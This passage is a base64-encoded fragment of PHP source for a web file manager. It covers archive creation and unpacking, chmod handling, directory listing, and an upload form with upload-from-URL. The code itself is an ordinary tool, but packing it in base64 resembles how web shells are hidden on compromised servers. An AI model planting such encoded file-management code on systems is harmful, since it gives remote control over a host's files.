ogICAgICAgIGNoZGlyKCRwYXRoKTsKCiAgICAgICAgaWYgKGNvdW50KCRmaWxlcykgPT0gMSkgewogICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpOwogICAgICAgICAgICAkb25lX2ZpbGUgPSBiYXNlbmFtZSgkb25lX2ZpbGUpOwogICAgICAgICAgICAkemlwbmFtZSA9ICRvbmVfZmlsZSAuICdfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHppcG5hbWUgPSAnYXJjaGl2ZV8nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDsKICAgICAgICB9CgogICAgICAgIGlmICgkZXh0ID09ICd6aXAnKSB7CiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7CiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gJ3RhcicpIHsKICAgICAgICAgICAgJHRhciA9IG5ldyBGTV9aaXBwZXJfVGFyKCk7CiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcykgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdBcmNoaXZlJykgLiAnIDxiPiVzPC9iPiAnIC4gbG5nKCdDcmVhdGVkJyksIGZtX2VuYygkemlwbmFtZSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgY3JlYXRlZCcpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpOwogICAgfQoKICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gVW5wYWNrIHppcCwgdGFyCmlmIChpc3NldCgkX1BPU1RbJ3VuemlwJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CgogICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoIkludmFsaWQgVG9rZW4uIiksICdlcnJvcicpOwogICAgICAgIGRpZSgiSW52YWxpZCBUb2tlbi4iKTsKICAgIH0KCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsKICAgICR1bnppcCA9IGZtX2NsZWFuX3BhdGgoJHVuemlwKTsKICAgICR1bnppcCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICR1bnppcCk7CiAgICAkaXNWYWxpZCA9IGZhbHNlOwoKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICcvJyAuICR1bnppcCkpIHsKICAgICAgICAkemlwX3BhdGggPSAkcGF0aCAuICcvJyAuICR1bnppcDsKICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRpc1ZhbGlkID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQoKICAgIGlmICgkaXNWYWxpZCkgewogICAgICAgIC8vdG8gZm9sZGVyCiAgICAgICAgJHRvZm9sZGVyID0gJyc7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndG9mb2xkZXInXSkpIHsKICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7CiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICR0b2ZvbGRlciwgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICRwYXRoIC49ICcvJyAuICR0b2ZvbGRlcjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRleHQgPT0gInppcCIpIHsKICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTsKICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpOwogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0YXIiKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkZ3ppcHBlciA9IG5ldyBQaGFyRGF0YSgkemlwX3BhdGgpOwogICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkgewogICAgICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgLy9UT0RPOjogbmVlZCB0byBoYW5kbGUgdGhlIGVycm9yCiAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRyZXMpIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IHVucGFja2VkJyksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDaGFuZ2UgUGVybXMgKG5vdCBmb3IgV2luZG93cykKaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewoKICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsKICAgICAgICBkaWUoIkludmFsaWQgVG9rZW4uIik7CiAgICB9CgogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgJG1vZGUgPSAwOwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3VyJ10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDQwMDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgewogICAgICAgICRtb2RlIHw9IDAyMDA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXgnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMTAwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2dyJ10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDA0MDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydndyddKSkgewogICAgICAgICRtb2RlIHw9IDAwMjA7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3gnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDEwOwogICAgfQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29yJ10pKSB7CiAgICAgICAgJG1vZGUgfD0gMDAwNDsKICAgIH0KICAgIGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgewogICAgICAgICRtb2RlIHw9IDAwMDI7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3gnXSkpIHsKICAgICAgICAkbW9kZSB8PSAwMDAxOwogICAgfQoKICAgIGlmIChAY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJG1vZGUpKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1Blcm1pc3Npb25zIGNoYW5nZWQnKSk7CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTsKICAgIH0KCiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogQUNUSU9OUyAqKioqKioqKioqKioqKioqKioqKioqKioqKiovCgovLyBnZXQgY3VycmVudCBwYXRoCiRwYXRoID0gRk1fUk9PVF9QQVRIOwppZiAoRk1fUEFUSCAhPSAnJykgewogICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKfQoKLy8gY2hlY2sgcGF0aAppZiAoIWlzX2RpcigkcGF0aCkpIHsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpOwp9CgovLyBnZXQgcGFyZW50IGZvbGRlcgokcGFyZW50ID0gZm1fZ2V0X3BhcmVudF9wYXRoKEZNX1BBVEgpOwoKJG9iamVjdHMgPSBpc19yZWFkYWJsZSgkcGF0aCkgPyBzY2FuZGlyKCRwYXRoKSA6IGFycmF5KCk7CiRmb2xkZXJzID0gYXJyYXkoKTsKJGZpbGVzID0gYXJyYXkoKTsKJGN1cnJlbnRfcGF0aCA9IGFycmF5X3NsaWNlKGV4cGxvZGUoIi8iLCAkcGF0aCksIC0xKVswXTsKaWYgKGlzX2FycmF5KCRvYmplY3RzKSAmJiBmbV9pc19leGNsdWRlX2l0ZW1zKCRjdXJyZW50X3BhdGgsICRwYXRoKSkgewogICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGlmICghRk1fU0hPV19ISURERU4gJiYgc3Vic3RyKCRmaWxlLCAwLCAxKSA9PT0gJy4nKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICAkbmV3X3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwogICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2RpcigkbmV3X3BhdGgpICYmICRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlOwogICAgICAgIH0KICAgIH0KfQoKaWYgKCFlbXB0eSgkZmlsZXMpKSB7CiAgICBuYXRjYXNlc29ydCgkZmlsZXMpOwp9CmlmICghZW1wdHkoJGZvbGRlcnMpKSB7CiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7Cn0KCi8vIHVwbG9hZCBmb3JtCmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkgewogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKICAgIC8vZ2V0IHRoZSBhbGxvd2VkIGZpbGUgZXh0ZW5zaW9ucwogICAgZnVuY3Rpb24gZ2V0VXBsb2FkRXh0KCkKICAgIHsKICAgICAgICAkZXh0QXJyID0gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pOwogICAgICAgIGlmIChGTV9VUExPQURfRVhURU5TSU9OICYmICRleHRBcnIpIHsKICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7CiAgICAgICAgICAgICAgICAkeCA9ICIuJHgiOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgcmV0dXJuIGltcGxvZGUoJywnLCAkZXh0QXJyKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICcnOwogICAgfQogICAgPz4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZHJvcHpvbmUnKTsgPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgoKICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgZm0tdXBsb2FkLXdyYXBwZXIiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFicyI+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkIGZyb20gVVJMJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9QQVRIKSkgPz4KICAgICAgICAgICAgICAgIDwvcD4KCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhGTV9TRUxGX1VSTCkgLiAnP3A9JyAuIGZtX2VuYyhGTV9QQVRIKSA/PiIgY2xhc3M9ImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXIiIGlkPSJmaWxlVXBsb2FkZXIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnVsbHBhdGgiIGlkPSJmdWxscGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmFsbGJhY2siPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0iZmlsZSIgdHlwZT0iZmlsZSIgbXVsdGlwbGUgLz4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW4iIGlkPSJ1cmxVcGxvYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLWZvcm0tdXJsLXVwbG9hZCIgY2xhc3M9InJvdyByb3ctY29scy1sZy1hdXRvIGctMyBhbGlnbi1pdGVtcy1jZW50ZXIiIG9uc3VibWl0PSJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpOyIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJ1cGxvYWQiIGFyaWEtbGFiZWw9ImhpZGRlbiIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idXJsIiBwbGFjZWhvbGRlcj0iVVJMIiBuYW1lPSJ1cGxvYWR1cmwiIHJlcXVpcmVkIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDogODAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBtcy0zIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGRzLWZhY2Vib29rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImpzLXVybC11cGxvYWRfX2xpc3QiIGNsYXNzPSJjb2wtOSBtdC0zIj48L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWRyb3B6b25lJyk7ID8+CiAgICA8c2NyaXB0PgogICAgICAgIERyb3B6b25lLm9wdGlvbnMuZmlsZVVwbG9hZGVyID0gewogICAgICAgICAgICBjaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PiwKICAgICAgICAgICAgZm9yY2VDaHVua2luZzogdHJ1ZSwKICAgICAgICAgICAgcmV0cnlDaHVua3M6IHRydWUsCiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsCiAgICAgICAgICAgIHBhcmFsbGVsVXBsb2FkczogMSwKICAgICAgICAgICAgcGFyYWxsZWxDaHVua1VwbG9hZHM6IGZhbHNlLAogICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsCiAgICAgICAgICAgIG1heEZpbGVzaXplOiAiPD9waHAgZWNobyBNQVhfVVBMT0FEX1NJWkU7ID8+IiwKICAgICAgICAgICAgYWNjZXB0ZWRGaWxlczogIjw/cGhwIGVjaG8gZ2V0VXBsb2FkRXh0KCkgPz4iLAogICAgICAgICAgICBpbml0OiBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIHRoaXMub24oInNlbmRpbmciLCBmdW5jdGlvbihmaWxlLCB4aHIsIGZvcm1EYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IF9wYXRoID0gKGZpbGUuZnVsbFBhdGgpID8gZmlsZS5mdWxsUGF0aCA6IGZpbGUubmFtZTsKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZnVsbHBhdGgiKS52YWx1ZSA9IF9wYXRoOwogICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCdFcnJvcjogU2VydmVyIFRpbWVvdXQnKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pLm9uKCJzdWNjZXNzIiwgZnVuY3Rpb24ocmVzKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IF9yZXNwb25zZSA9IEpTT04ucGFyc2UocmVzLnhoci5yZXNwb25zZSk7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSAiZXJyb3IiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KCJFcnJvcjogSW52YWxpZCBKU09OIHJlc3BvbnNlIik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSkub24oImVycm9yIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICB0b2FzdChyZXNwb25zZSk7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIDwvc2NyaXB0Pgo8P3BocAogICAgZm1fc2hvd19mb290ZXIoKTsKICAgIGV4aXQ7Cn0KCi8vIGNvcHkgZm9ybSBQT1NUCmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkY29weV9maWxlcyA9IGlzc2V0KCRfUE9TVFsnZmlsZSddKSA/ICRfUE9TVFsnZmlsZSddIDogbnVsbDsKICAgIGlmICghaXNfYXJyYXkoJGNvcHlfZmlsZXMpIHx8IGVtcHR5KCRjb3B5X2ZpbGVzKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpOwogICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDsKICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPGg2Pjw/cGhwIGVjaG8gbG5nKCdDb3B5aW5nJykgPz48L2g2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmluaXNoIiB2YWx1ZT0iMSI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkY29weV9maWxlcyBhcyAkY2YpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iJyAuIGZtX2VuYygkY2YpIC4gJyI+JyAuIFBIUF9FT0w7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImJyZWFrLXdvcmQiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGVzJykgPz48L3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPC9iPiwgPGI+JywgJGNvcHlfZmlsZXMpID8+PC9iPjwvcD4KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48L3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICcvJyAuIEZNX1BBVEgpKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iaW5wX2NvcHlfdG8iPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0Rlc3RpbmF0aW9uRm9sZGVyJykgPz48L3N0cm9uZz46PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBGTV9ST09UX1BBVEggPz4vPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvcHlfdG8iIGlkPSJpbnBfY29weV90byIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9ImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJtb3ZlIiB2YWx1Z